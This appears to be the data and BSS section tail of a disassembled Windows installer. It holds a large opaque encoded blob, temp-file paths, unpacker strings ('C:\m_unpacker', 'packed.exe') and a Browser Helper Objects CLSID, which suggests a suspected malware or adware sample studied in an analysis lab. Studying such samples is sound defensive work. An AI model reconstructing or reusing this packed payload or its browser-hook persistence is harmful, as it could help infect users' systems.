		dd 2530979Bh, 17AB02AFh, 0DF3DB6FAh, 0F24DC25Eh, 676C5B4Fh
		dd 0AA4D10E5h, 5E7DE80Eh, 993B62C9h, 8C9A12F6h,	584A8A52h
		dd 2F2C981Ch, 674459E4h, 6672BECFh, 88B67EE1h, 792C5B66h
		dd 0C3C36178h, 93F78447h, 43C2436Ah, 87048627h,	0A1A54B84h
		dd 7E3B4323h, 8C627F41h, 7539805Dh, 0DCE14CCAh,	0D30B842Fh
		dd 0DE64B384h, 0FA2C5A01h, 0A3CD149Fh, 27A5A730h, 53300D09h
		dd 0EC2A9F6Fh, 0E91DF725h, 0DCD11EC2h, 22DFA62Eh, 10BF359Ah
		dd 6B09A40Eh, 7EDA217Eh, 0BFC50BBh, 610B9F1Fh, 0A67D3EDEh
		dd 49DD1360h, 330E5BA2h, 10BA6B2Bh, 9EFF2BF5h, 54AEFC4Ch
		dd 0AFE4672Ch, 6D6274DCh, 0C89FCF61h, 616977CEh, 6197BA20h
		dd 0BA5F94A5h, 0B8CD771Ch, 9AECC679h, 0AB05BB2Fh, 4B7945C1h
		dd 82BB42E8h, 32E26270h, 44F2E3ACh, 3F179E7Bh, 17E65B98h
		dd 2B0BF326h, 0B7915D2Eh, 4E74F70Ch, 74A3B97Bh,	62753962h
		dd 0C5C4F959h, 613D1C85h, 25ED7997h, 0B12BC310h, 0DAB89CAFh
		dd 0A7FAC79Eh, 964B4B0h, 7C42593Eh, 0C5A58567h,	3E096FCCh
		dd 0C22D90E2h, 99F7889Ah, 0FE43781Dh, 0D9DB578Bh, 9993C33Ah
		dd 0FC4E0627h, 0A211453Dh, 793B22A0h, 44212CDAh, 0DC0BCF34h
		dd 4CCCB3Ch, 69CC0CE1h,	538453E9h, 9C289DCCh, 6A477984h
		dd 0CCCCD0AAh, 53FDC34h, 85325FA1h, 36FFA2BDh, 86235DD1h
		dd 96773197h, 27CC50B0h, 5E3FCC5Dh, 0CCCE5FCCh,	0CC462174h
		dd 29CCCA5Fh, 33253A90h, 49D0B84Dh, 0C136F874h,	843BCCCDh
		dd 2E9C9D53h, 966667EFh, 539987B0h, 9CCCED85h, 0CD116C25h
		dd 0EF3E4EAAh, 0F9F27596h, 9F276E6Ch, 0F93BD227h, 0E4EE643Ch
		dd 332C6D73h, 66488513h, 0CC210BA6h, 5C2E14CCh,	9FEFB095h
		dd 95969985h, 9CC0B429h, 2A3A7C06h, 3998FB9Ah, 0D306D84Dh
		dd 0A8453596h, 0AA69CAB9h, 84539983h, 169CABFCh, 1A72AEDAh
		dd 0E7CABE6Eh, 3E55D934h, 72AF4857h, 2BF1DABAh,	0D0C999h
		dd 0D3D2E7C6h, 8E154CCCh, 18D7CAFEh, 73E57FFBh,	0A6660EF7h
		dd 0E57E5B09h, 5F9AD873h, 0FE2C4D39h, 5CFDD395h, 5212CE66h
		dd 5574E57Fh, 679F2BFDh, 71A57E62h, 0FF442292h,	0E345EBCAh
		dd 0F22BDA80h, 524EDE57h, 805674D1h, 0EF881243h, 0AC565E04h
		dd 0E38B622Ch, 263F4E0Ah, 0A1B48816h, 8982D382h, 0A568FC2Bh
		dd 0D229CFC7h, 0E39B8F5Dh, 0B6E18CB6h, 0BBA44FD7h, 0DD1FB75Eh
		dd 0BA71F9F6h, 1D1371EAh, 0E2FCB166h, 0D314672Ch, 10744DCFh
		dd 0C6E3D184h, 9677C918h, 0E7F855E7h, 68FC4BBh,	0B8ECFC7Bh
		dd 5E2BC9CFh, 0AF07E6C1h, 785F389Fh, 0B9DEF9DCh, 173BDCA0h
		dd 3316C278h, 9287CF7Ah, 0A737CFCFh, 0B9C4FD78h, 545EE3C8h
		dd 2B45C5Ah, 3CEE3C51h,	0F689B9BFh, 7B496888h, 0EE227D85h
		dd 611756EFh, 74612826h, 0A57CB4A0h, 131C097Dh,	5EC1564Bh
		dd 6FC02CB1h, 0D432E951h, 0F11E202Dh, 226839CFh, 0E9E89929h
		dd 5672A2CFh, 11567143h, 3E6C2584h, 0DC7B06F1h,	9A537EC5h
		dd 64370FD7h, 6F783B0Eh, 0A21FA0ECh, 969F1E5Fh,	3602844Ah
		dd 11F2F887h, 88F901DDh, 0FA698B7Eh, 88B34BF3h,	0AC2A32A6h
		dd 8489AA58h, 9FBB3E87h, 0DD9F32FFh, 0F9578B4Bh, 0AC27B168h
		dd 0F8F5AD2Bh, 0D8F51D13h, 28C30297h, 2A2EE3D8h, 0C0ED7BB7h
		dd 8B45A2B6h, 7E2579ECh, 3CB70969h, 0FB181476h,	1A185F4Fh
		dd 74E767C1h, 0BE57F595h, 3D5FE1D3h, 53A98346h,	0D459BE1Dh
		dd 55A747EBh, 0BB78E879h, 0A28ABC5Fh, 283D38E5h, 0CC76C228h
		dd 5FB447EBh, 3F1EFD24h, 82850132h, 0CE8961B7h,	0F3CD5F8Bh
		dd 0EBE025ACh, 0F75F9B29h, 3D64FD7Bh, 6DBDB1F8h, 484DA2h
		dd 0D9E2F34Ch, 0D1EE2F34h, 3D77A7Eh, 1F1FE912h,	0FBAFEDF0h
		dd 0E91243Dh, 0BFDF8878h, 0F6B982ADh, 0E15DDF21h, 0CF0247CAh
		dd 0D1ECB0Bh, 0DC7E0F74h, 0E7736F77h, 7B74BE63h, 178C0F1Fh
		dd 0F740FBF9h, 0DCF83FF6h, 91293D1Fh, 4F24FA7Eh, 2243B2DBh
		dd 0DB83B33Dh, 5E09DE9Fh, 0B3F60007h, 7762D6D8h, 0F62E4D8Bh
		dd 0D2F2D8BAh, 0BDED97CEh, 0AEC69DB1h, 0EC6B9B1Ah, 0C6D5B1B1h
		dd 6F1B1B8Eh, 0DB1BFECh, 369C6EC7h, 0AE77EE5h, 48927F61h
		dd 0EFC9FD07h, 9C19F3BCh, 0BFC33E77h, 0F57705B5h, 690527B6h
		dd 0FE57CC0Bh, 40567B8Ah
		db 4Ch
dword_42A1DD	dd 9BE920DFh		; DATA XREF: start+241r sub_403849+3Cr ...
		db 0C2h, 1, 0
		align 8
dword_42A1E8	dd 100h	dup(0)		; DATA XREF: start+1FEo
byte_42A5E8	db 0			; DATA XREF: start+1F9o start+209w
byte_42A5E9	db 3 dup(0)		; DATA XREF: start+1F4o
		dd 1FFh	dup(0)
dword_42ADE8	dd 0			; DATA XREF: sub_4044FB+B0r
					; sub_4044FB+1BCw ...
dword_42ADEC	dd 0			; DATA XREF: sub_404AE3+6r
					; sub_404AE3+28w ...
dword_42ADF0	dd 0			; DATA XREF: sub_4044FB+141w
					; sub_4044FB+15Bw ...
dword_42ADF4	dd 0			; DATA XREF: sub_4044FB+3ADw
					; sub_404B17+155r ...
byte_42ADF8	db 0			; DATA XREF: sub_405CAC+21o
					; sub_405CAC+C9w
		align 4
		dd 1FFh	dup(0)
dword_42B5F8	dd 0			; DATA XREF: sub_4041E1+179w
					; sub_4041E1+1A3r ...
dword_42B5FC	dd 0			; DATA XREF: sub_40526B+B1w
					; sub_40526B+C0r ...
dword_42B600	dd 0			; DATA XREF: sub_404B17+115w
					; sub_404B17+149r ...
dword_42B604	dd 0			; DATA XREF: sub_4044FB+195w
					; sub_4044FB+1E4w ...
dword_42B608	dd 100h	dup(0)		; DATA XREF: sub_404E2A+194o
dword_42BA08	dd 0			; DATA XREF: sub_404E2A:loc_404F78w
					; sub_404E2A+2BEr ...
dword_42BA0C	dd 0			; DATA XREF: sub_40526B+A1w
					; sub_405BC5+D5r
dword_42BA10	dd 0			; DATA XREF: sub_40526B+73w
					; sub_40526B+1FFr ...
dword_42BA14	dd 0			; DATA XREF: sub_4044FB+1B0w
					; sub_4044FB:loc_40482Cr ...
dword_42BA18	dd 400h	dup(0)		; DATA XREF: sub_4044FB+33Co
					; sub_404E2A+DEo ...
dword_42CA18	dd 0			; DATA XREF: sub_4020E9:loc_4035C3r
					; sub_4044FB:loc_404977r ...
dword_42CA1C	dd 0			; DATA XREF: sub_404E2A:loc_4050A3o
aCDocume1SriU_3	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\*.*',0
					; DATA XREF: sub_406253:loc_406288o
		dd 0F4h	dup(0)
aC		db 'C:\',0              ; DATA XREF: sub_4064B0+6o
aOcume1		db 'OCUME~1',0
aSriUser	db 'SRI-user',0
aLocals1	db 'LOCALS~1',0
aTemp_0		db 'Temp',0
aNsy2_tmp	db 'nsy2.tmp',0
		dd 0F5h	dup(0)
dword_42D220	dd 44h			; DATA XREF: sub_40618A+9w
					; sub_40618A+2Bo
		dd 11h dup(0)
dword_42D268	dd 10h,	274B1BA0h, 1C73902h, 0C5D75800h, 1C73872h, 2792D300h
					; DATA XREF: sub_406BAB+10o
		dd 1C73902h, 2 dup(0)
		dd 242B38h, 0
aDocumentsAndSe	db 'Documents and Settings',0
		align 4
		dd 3Bh dup(0)
aDocume1	db 'DOCUME~1',0
		align 8
dword_42D3A8	dd 100h	dup(0)		; DATA XREF: sub_406606+A0o
					; sub_406606+145o
dword_42D7A8	dd 100h	dup(0)		; DATA XREF: sub_406606:loc_406682o
dword_42DBA8	dd 0			; DATA XREF: sub_406606+3Ew
					; sub_406606+4Fo
		dd 105h	dup(0)
aCall_0		db 'Call',0             ; DATA XREF: sub_4041E1+43o
					; sub_4041E1+57r ...
aCume1SriUser_0	db 'CUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0
aEr32		db 'er32',0
aElperObjects7b	db 'elper Objects\{7B4DD627-E555-4373-AA84-4E5241613B7A}',0
		align 4
		dd 1E3h	dup(0)
dword_42E7C0	dd 0			; DATA XREF: sub_4041E1+EAo
dword_42E7C4	dd 0			; DATA XREF: sub_4041E1+10Dw
		align 10h
dword_42E7D0	dd 0			; DATA XREF: sub_4041E1+117w
dword_42E7D4	dd 0			; DATA XREF: sub_4041E1+FBw
		dd 3 dup(0)
dword_42E7E4	dd 0			; DATA XREF: sub_4041E1+11Dw
					; sub_4041E1+1EDw
dword_42E7E8	dd 0			; DATA XREF: sub_405CAC+68r
					; sub_405DE5+75w
dword_42E7EC	dd 0			; DATA XREF: sub_4020E9:loc_402159w
					; sub_4041E1+236r ...
dword_42E7F0	dd 0			; DATA XREF: sub_4020E9:loc_40223Br
					; sub_405DE5+66w ...
dword_42E7F4	dd 0			; DATA XREF: sub_40201D+5Cr
					; sub_405DE5+99w
dword_42E7F8	dd 0			; DATA XREF: sub_4044FB+67r
					; sub_4044FB+77w ...
dword_42E7FC	dd 14AED5h		; DATA XREF: sub_404440+72w
					; sub_404440:loc_4044B8r ...
dword_42E800	dd 0			; DATA XREF: sub_4041E1:loc_4043E1r
					; sub_404440+60w ...
dword_42E804	dd 0			; DATA XREF: sub_4020E9:loc_402252r
					; sub_405CAC+6r ...
dword_42E808	dd 200A5h		; DATA XREF: sub_4041E1+E1w
					; sub_4044FB+1C6r
dword_42E80C	dd 0			; DATA XREF: sub_40201D+56w
					; sub_40201D+72r ...
		dd 4 dup(0)
aTtcSetup	db 'TTC Setup',0        ; DATA XREF: sub_401E32+150o start+2Co ...
		align 4
		dd 1FDh	dup(0)
dword_42F020	dd 400000h		; DATA XREF: sub_4038D5+27r
					; sub_4038D5+158r ...
dword_42F024	dd 0			; DATA XREF: sub_401E32+19r
					; sub_4020E9+19r ...
dword_42F028	dd 14A560h		; DATA XREF: sub_401E32+39r
					; sub_4020C0+4r ...
dword_42F02C	dd 7E00h		; DATA XREF: sub_4020E9+1335r
					; sub_4038D5:loc_403953r ...
dword_42F030	dd 88h			; DATA XREF: sub_4038D5+25Aw
					; sub_4041E1r ...
dword_42F034	dd 0			; DATA XREF: sub_4038D5+261w
					; start+15Er
		align 10h
dword_42F040	dd 14A680h		; DATA XREF: sub_4038D5+28Bo
					; sub_4044FB+1F6r
dword_42F044	dd 0			; DATA XREF: sub_4044FB+9Er
					; sub_4044FB+249r ...
dword_42F048	dd 14A680h		; DATA XREF: sub_4020E9+140Ar
					; sub_4051F5+6r ...
dword_42F04C	dd 1			; DATA XREF: sub_4020E9+13FEr
					; sub_4051F5r ...
dword_42F050	dd 14A698h		; DATA XREF: sub_40201D+Cr
		dd 2Dh
dword_42F058	dd 14AB84h		; DATA XREF: sub_4041E1+3Er
					; sub_404B17:loc_404B48r ...
		align 10h
dword_42F060	dd 14AECBh		; DATA XREF: sub_404440+41r
dword_42F064	dd 1			; DATA XREF: sub_404440:loc_404467r
dword_42F068	dd 14AF6Dh		; DATA XREF: sub_4020E9:loc_4029C7r
		align 10h
		dd 14A560h, 0
dword_42F078	dd 81E5h		; DATA XREF: sub_403B73+36r
		align 10h
dword_42F080	dd 0			; DATA XREF: sub_4020E9+9r
					; sub_40526B+66w ...
		dd 7 dup(0)
dword_42F0A0	dd 0			; DATA XREF: sub_4020E9+118w
					; sub_4020E9:loc_40222Er ...
dword_42F0A4	dd 0			; DATA XREF: sub_4068D5+134r
dword_42F0A8	dd 0			; DATA XREF: sub_4020E9+492w
					; sub_4020E9:loc_402586w ...
dword_42F0AC	dd 0			; DATA XREF: sub_4044FB+132r
					; sub_4044FB+2B9r ...
dword_42F0B0	dd 0			; DATA XREF: sub_406606:loc_406783w
dword_42F0B4	dd 0			; DATA XREF: sub_4020E9:loc_402F72w
					; start:loc_4040FFr
dword_42F0B8	dd 0			; DATA XREF: sub_40526B+129r
					; sub_40526B+534r ...
dword_42F0BC	dd 0			; DATA XREF: sub_4020E9+148Dw
					; sub_40526B+2C1r ...
dword_42F0C0	dd 8			; DATA XREF: sub_4038D5+253w
					; sub_4041E1+195r ...
dword_42F0C4	dd 0			; DATA XREF: sub_404E2A+28Cw
dword_42F0C8	dd 0			; DATA XREF: sub_404440+69w
					; sub_406202:loc_40621Cr
dword_42F0CC	dd 0FFFFFFFFh		; DATA XREF: start:loc_403FD0w
					; start:loc_4041A4r
dword_42F0D0	dd 1			; DATA XREF: sub_4020E9+BD8r start+31w ...
_data		ends

; Section 4. (virtual address 00030000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00030000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_ndata		segment	para public 'BSS' use32
		assume cs:_ndata
		;org 430000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
a7b4dd627E55543	db '{7B4DD627-E555-4373-AA84-4E5241613B7A}',0 ; DATA XREF: sub_40201D+2Eo
					; sub_4020E9+36o ...
a_tmp		db '.tmp',0
		dd 0F5h	dup(0)
		dd 6F6E656Dh, 6C6C642Eh, 12FEh dup(0)
byte_435000	db 70h			; DATA XREF: sub_403DE8+28o
					; start:loc_403E99o ...
byte_435001	db 61h,	63h, 6Bh	; DATA XREF: start+B3o
		db  65h	; e
		db 64h,	2Eh, 65h
		db  78h	; x
		db 65h,	0, 5Ch
aSriUserLocals1	db 'SRI-user\LOCALS~1\Temp\nsi1.tmp',0
		dd 0F5h	dup(0)
byte_435400	db 0			; DATA XREF: sub_4020E9:loc_4033DEo
					; start+144o ...
		align 4
		dd 0FFh	dup(0)
aCProgramFilesC	db 'C:\Program Files\Common Files',0 ; DATA XREF: sub_4020E9+1FDo
					; sub_4020E9:loc_40247Do ...
		align 10h
		dd 0F8h	dup(0)
aCM_unpacker	db 'C:\m_unpacker',0    ; DATA XREF: sub_4038D5+1Ao
aPacked_exe	db 'packed.exe',0
		align 4
		dd 0F9h	dup(0)
byte_436000	db 31h			; DATA XREF: sub_404440r
					; sub_404440+10o
		db 30h,	2 dup(33h)
		dd 0FFh	dup(0)
aCDocume1SriU_1	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\',0 ; DATA XREF: sub_403DE8+1o
					; start+3Bo ...
		dd 0F7h	dup(0)
aCDocume1SriU_2	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\',0
					; DATA XREF: sub_4041BC+1Ao
aYstem_dll	db 'ystem.dll',0
		align 4
		dd 1F2h	dup(0)
dword_437000	dd 400h	dup(0)		; DATA XREF: sub_4044FB+27Co
_ndata		ends

; Section 6. (virtual address 00039000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00039000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 439000h
		align 2000h
_idata2		ends


		end start